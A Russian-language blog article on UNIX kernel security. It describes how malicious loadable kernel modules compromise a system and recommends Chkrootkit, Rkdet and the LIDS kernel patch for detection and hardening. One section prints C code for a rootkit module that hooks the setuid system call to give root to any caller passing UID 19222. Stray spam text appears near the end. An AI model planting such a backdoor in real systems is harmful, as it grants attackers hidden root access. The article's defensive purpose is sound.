Wednesday, August 23rd, 2017

Безопасность ядра ОС UNIX

Published on Апрель 23, 2009 by   ·   Комментариев нет

дро  любой  операционной  системы  является ее основой. Оно управляет
всеми  операциями  ввода-вывода  для  всех устройств, выдает системные
ресурсы для каждого процесса и выдает отчет о работе системы. Без него
работа  компьютера  невозможна.  Скомпрометированное ядро представляет
опасность  для  работы  всех  служб  независимо от того, какие функции
выполняет  данный  компьютер. В данной статье  не раскрыты возможности
относительно   безопасности,   предоставляемые   ядром,  а  рассказаны
проблемы,  связанные  с  защитой  ядра, как такового, а также раскрыты
существующие  уязвимости  ядра  и варианты понижения вытекающих из них
рисков.

Ядро  ОС  UNIX  представляет собой единый полнофункциональный код. При
включении  компьютера  BIOS  передает управление загрузчику, который в
свою   очередь   передает  управление  компьютером  ядру.  Посредствам
загрузчика  может быть выбрано то или иное ядро, но, загрузившись, его
невозможно  сменить  вплоть  до последующей перезагрузки компьютера. И
ничего  более  не оказывает теперь такого определяющего воздействия на
работу  системы, как деятельность ядра. Исходные коды различных версий
ядер  UNIX  открыты  и  доступны в Интернете. Ядро обычно собирается с
учетом   тех   функциональных   требований,  которые  предъявляются  к
непосредственно взятому компьютеру. Так в ядра некоторых ОС, к которым
предъявляются  требования удобств, встроена графическая оболочка. Если
ОС устанавливается на маршрутизаторе, рациональным является исключение
всех средств за исключением самых необходимых.

В    случае    компрометации    системы,   например   подбора   пароля
суперпользователя  root,  существует  предел  действий злоумышленника.
Если  он  запустит  несколько  резидентных  программ,  создаст  нового
пользователя  с  привилегиями  root,  рано  или  поздно  он может быть
обнаружен  системным  администратором,  даже  если  сможет  обойти все
уровни  защиты.  Системный  администратор  может  обнаружить  действия
хакера,  воспользовавшись  рядом  самых простых команд, таких как who,
ps,  netstat,  просмотрев  журналы  системы  логирования  или  сравнив
бинарные файлы с их оригиналами, взятыми  из достоверных источников. В
случае  более  профессиональной  атаки,  если  скомпрометировано ядро,
системному   администратору  обнаружить  несанкционированные  действия
становится  значительно  сложнее. А если действует опытный нарушитель,
это  становится  практически  невозможным. Здесь поможет только полная
переустановка ОС, о чем будет рассказано далее.

Модифицировать  ядро  ОС  UNIX можно, дополняя или заменяя модули. Это
позволяет  модифицировать его, не прибегая к перекомпиляции, а также к
перезагрузке  компьютера,  что  является  очень  гибким  инструментом.
Загрузка  и  отключение  модулей  ядра бывают полезны, когда требуется
добавить  какие-то  функции  ядру или при установке нового устройства.
Модули   имеют   непосредственный  доступ  ко  всем  переменным  среды
окружения.  Это  удобно,  но  становится  опасным, если используется в
негативных  целях.  Например, злоумышленник может написать и загрузить
свой  собственный  модуль,  используя  команды modprobe и rmmod. Такой
<<негативный>>  модуль  может  перехватывать  и обрабатывать по своему
усмотрения  системные  вызовы, например системы логирования, что может
обеспечить   хакеру  прозрачность  нахождения  в  системе  или  работы
какого-либо сервиса.

Вот пример программного кода, позволяющего перехватить системный вызов
setuid().  Происходит  проверка  UID пользователя и в случае, если это
19222,  то  UID  изменяется  на новый, равный 0. Т.е. любая программа,
вызвавшая setuid(19222) выполняется с привилегиями root, независимо от
того, какой пользователь ее запустил.

int new_uid (uid_t);
int (*old_uid)(uid_t);
extern void *sys_call_table[];
int init_module(){
register struct module *mp asm ("%ebx");

*(char *) (mp->name) = `d&#039;;
*(char *) (mp->name+1) = `s&#039;;
*(char *) (mp->name+2) = `2&#039;;
*(char *) (mp->name+3) = `\0&#039;;
old_uid = sys_call_table [SYS_setuid];
sys_call_table [SYS_setuid] = (void *) new_uid;
return 0;
}

int cleanup_module(){
sys_call_table[ SYS_setuid] = (void *)old_uid;
return 0;
}

int new_uid(uid_t uid){
if (uid ==19222 )  {
current ->uid =0;
current ->gid =0;
current ->euid =0;
current ->egid =0;
return 0;
}
return (*old_uid)(uid);
}

При  грамотной  работе  злоумышленника (хотя такие средства безусловно
применяются  и  в  благих  целях)  модуль  не  будет  виден  в  списке
загруженных  модулей  и  его  невозможно  будет выгрузить. Здесь перед
злоумышленником   открываются   возможности,   ограниченные  лишь  его
фантазией.

Новый  модуль  может  носить  название,  сходное  с оригиналом, хотя и
скрыть  от  системного  администратора  наличие нелегального модуля не
представит  сложность  для опытного нарушителя. Также есть возможность
не   только   добавить   новый  модуль,  но  и  перекомпилировать  уже
действующий, изменив его функции.

В  настоящее  время  доступно  большое  количество  готовых  программ,
реализующих такого рода атаки. Но также доступными являются и средства
противодействия,  которые  позволяют  выявить  установленные в системе
наборы  средств  для  взлома.  По  нашему мнению, заслуживает внимания
программа  Rkdet (http://www.vancouver-webpages.com/rkdet/). Эту программу
следует   запустить,  когда  компьютер  точно  не  скомпрометирован  и
работает  нормально.  Программа  Rkdet  работает  в  режиме  демона  и
проверяет контрольные суммы двоичных файлов. При выявлении изменений в
двоичном  файле по электронной почте отправляется сообщение о тревоге,
после  чего  блокируется сетевой интерфейс до вмешательства системного
администратора,   который  должен  устранить  проблему  (не  забывайте
отключить Rket при обновлении своего программного обеспечения).

Программа  Chkrootkit  (http://www.chkrootkit.org)  обладает даже большими
возможностями,  чем  Rkdet, дополнительно сверяя результаты выполнения
команды  ps  с  записями  в каталоге /proc и проверяя изменения файлов
wtmp  и  lastlog. Эта программа специально предназначена для выявления
более  чем  35  наборов  программ для взлома, включая различные версии
LKR, Knark t0rn, ARK и даже ряда <<червей>>, таких как например Ramen,
Lion  и Adore. Программа Chkrootkit может выявлять даже дополнительные
наборы  средств  для  взлома,  поскольку  многие  из  них  работают по
сходному алгоритму.

Программа   Chkrootkit   может   работать  под  управлением  различных
операционных систем UNIX, например Solaris и *BSD-системах. Весь пакет
управляется  специальным  сценарием командного интерпретатора, который
при необходимости вызывает обслуживающие программы. В частности, среди
действий, отслеживаемых Chkrootkit, можно назвать следующие:

— удаление записей в файлах lastlog, wtmp и wtmpx;
— перевод сетевого интерфейса в <<неразборчивый>> режим;
— наличие  скрытых  процессов  (указывает  на запуск какого-либо
модуля ядра);
— признаки специальных троянских версий двоичных файлов;
— проверка журналов системы логирования;
— наличие конфигурационных файлов, используемых в наборах средств
для взлома.

Несмотря на большое количество проверок, которые выполняет Chkrootkit,
эта  программа  работает  очень быстро. При подозрении в компрометации
компьютеров  следует  запускать  Chkrootkit  дважды  —  первый  раз до
отключения   системы   и   второй   раз   —   после   ее   запуска   в
однопользовательском режиме.

Лучше же всего использовать средство, которое бы позволяло отключать и
включать  мандаты  по своему усмотрению, например  система обнаружения
вторжений  в  ОС  Linux  LIDS.  Это  средство  является одним из самых
распространенных  средств  такого  рода. Средства контроля целостности
файлов  помогут узнать об установке новых модулей ядра или модификации
существующих.  Ограничение прав доступа и применение команды chattr +i
в  отношении  различных  каталогов /lib/modules может замедлить атаку
начинающего хакера.

Но  единственной  реальной  защитой против таких сложных атак являются
заплаты   ядра  наподобие  LIDS,  когда  соответствующая  конфигурация
заплаты  не  позволяет  даже  суперпользователю  устанавливать файлы в
каталог /lib/modules или вообще загружать модули в ядро.

Вообще  заплата  LIDS  (Linux  Intrusion  Detection  System  — система
обнаружения  и  защиты  от  вторжений  в  операционную  систему Linux,
http://www.lids.org/)  на  самом деле представляет собой даже нечто
большее,  чем  то  что  можно  представить, исходя из ее названия. Что
касается   <<обнаружения   вторжений>>,  то  LIDS  использует  систему
оповещения об атаке и встроенный детектор сканирования портов, который
работает  на  уровне  ядра.  Но  наиболее  полезной  особенностью LIDS
является  усовершенствование  модели  защиты всей операционной системы
Linux.

LIDS   может   быть  установлена  как  заплата  ядра  и  как  средство
администрирования.   Среди   предоставляемых   ею  возможностей  можно
выделить следующие.

—  Усовершенствование  защиты  файлов. Защищенные с помощью LIDS файлы
могут  быть  скрытыми или с установленной защитой от изменений даже со
стороны суперпользователя.

—  Защита процессов. Ядро может отклонить отправку сигналов (например,
сигнала  SIGKILL)  защищенным  процессам.  Процессы  также  могут быть
скрытыми  —  каталог  /proc  не предоставит никакой информации об этом
процессе.

—   Улучшенный   контроль   за   правами  доступа.  Применяется  более
эффективное назначение мандатов для предоставления привилегий, включая
запрещение   изменения  мандатов  пользователю  с  правами  системного
администратора.

— Встроенный детектор сканирования портов. Детектор сканирования может
быть  встроен  в  ядро  и позволяет обнаруживать большинство известных
методов сканирования (например, скрытое,  SYN — сканирование  и т.д.),
выполняемых  программами  nmap,  SATAN  и  другими  подобными сетевыми
сканерами.  Информация  обо всех действиях, которые совершаются против
всех  защищенных  LIDS  объектов,  записывается в системный журнал или
отправляется по электронной почте.

Для  установки  LIDS необходимо загрузить последнюю официальную версию
ядра Linux и исходный код заплаты LIDS. После этого установите заплату
для  исходного  кода  ядра,  выполните  его  компиляцию, инсталлируйте
утилиту  администрирования и перезагрузите систему. После запуска LIDS
разрешает  выполнять  изменения ядра только суперпользователю, который
будет  идентифицирован  утилитой lidsam. Сведения обо всех изменениях,
внесенных   в  ядро  на  постоянной  основе,  сохраняются  в  каталоге
/etc/lids.

С  помощью LIDS можно устанавливать жесткие ограничения прав доступа к
большинству  файлов.  Желательно  защитить  все  двоичные файлы (/bin,
/sbin, /usr/sbin  и т.д. ), все файлы системы логирования (/var/log) и
конфигурационные файлы (/etc). LIDS позволяет использовать четыре типа
прав доступа к файлам.

—  Deny  (запретить).  Файлы  с  этим  атрибутом не доступны для любых
пользователей  или  программ,  кроме  тех,  кому  предоставлены особые
полномочия.  Например, можно запретить доступ к файлу /etc/shadow всем
пользователям  и  программам  и  выдать  особое  разрешение только для
программы /bin/login с целью предоставления возможности аутентификации
пользователей.

—  Read-only  (только  для  чтения).  Файлы только для чтения не могут
изменяться ни одним пользователем, включая суперпользователя.

—   Append-only   (только  для  добавления).  Файлы  с  атрибутом  для
добавления  позволяют  лишь добавить информацию. Сохраненные данные не
могут  быть  изменены.  Как  правило, этот атрибут устанавливается для
файлов   системы   логирования,   которые   должны  иметь  возможность
записывать новые данные, и в то же время необходимо запретить удаление
хакером  каких-либо  строк,  которые  бы  указали  на  выполненные  им
действия.

—  Write  (запись).  Этот  атрибут позволяет предоставить права записи
файлов для определенных пользователей или программ.

К   сожалению,  LIDS  не  предусматривает  возможность  автоматических
ответных   действий,   но   с  помощью  программ  мониторинга  системы
логирования или фильтров электронной почты можно организовать просмотр
создаваемых   LIDS  отчетов  и  автоматического  создания  правил  для
программ ipchains/iptables.

LIDS  представляет  собой  очень  эффективное  средство  для повышения
безопасности  компьютера  по  сравнению  со стандартными возможностями
операционной системы. Она является, на наш взгляд, идеальным средством
для  защиты  ядра  от  подобных  атак.  Кроме  того, как мы видим, она
обладает  очень  широким рядом функций по защите вашей системы. Но это
средство  не  для  боязливых  администраторов. Мы советуем внимательно
прочесть  документацию  и  описание  возможных  настроек LIDS перед ее
использованием  на  своем  компьютере. Следует также учитывать, что на
одном  компьютере  строго не рекомендуется установка нескольких заплат
ядра.

Если  ваше ядро подверглось атаке, вы не можете доверять работе своего
компьютера.  Злоумышленник, скорее всего оставил возможность вернуться
в  систему в роли суперпользователя. Тема восстановления системы после
взлома  была неоднократно освещена и выходит за рамки данной статьи. В
любом  случае необходимо постоянно иметь под рукой резервную побитовую
копию  системы. В случае компрометации ядра восстановление не займет в
таком  случае  много времени. Только полная переустановка ОС и возврат
ее   в  исходное  состояние  могут  давать  гарантии  надежной  работы

discount oem software

компьютера.

zp8497586rq











































































































































































Смотрите также:

Readers Comments (Комментариев нет)

Comments are closed.

Exchange 2007

Проведение мониторинга Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 3)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Проведение мониторинга Exchange 2007 с помощью диспетчера System ... [+]

Практическое рассмотрение перехода с Exchange 2003 на Exchange 2007 (часть 1)

Введение В этой статье из нескольких частей я хочу показать вам процесс, который недавно использовал для перехода с существующей среды Exchange 2003 ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 2)

Если вы пропустили первую часть этой серии, пожалуйста, прочтите ее по ссылке Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (Часть ... [+]

Мониторинг Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 2)

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Мониторинг Exchange 2007 с помощью диспетчера System Center Operations ... [+]

Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 5)

Если вы пропустили предыдущие части этой серии статей, перейдите по ссылкам: Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 1) ... [+]

Установка и настройка Exchange 2007 из командной строки (Часть 3)

If you missed the previous parts in this article series please read: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 1)

Инструмент ExRCA Текущий выпуск инструмента предоставляется только в целях тестирования и оснащен 5 опциями: Тест подключения Outlook 2007 Autodiscover Тест подключения Outlook 2003 RPC ... [+]

Развертывание сервера Exchange 2007 Edge Transport (часть 5)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Развертывание сервера Exchange 2007 Edge Transport (часть 1) Развертывание ... [+]

Установка и настройка Exchange 2007 из командной строки (часть 2)

Если вы пропустили первую статью данного цикла, пожалуйста, перейдите по ссылке: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование интегрированных сценариев Using Exchange Server 2007 – часть 2: генерирование отчетов агента Transport AntiSpam Agent

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Использование интегрированных сценариев Using Exchange Server 2007 – часть ... [+]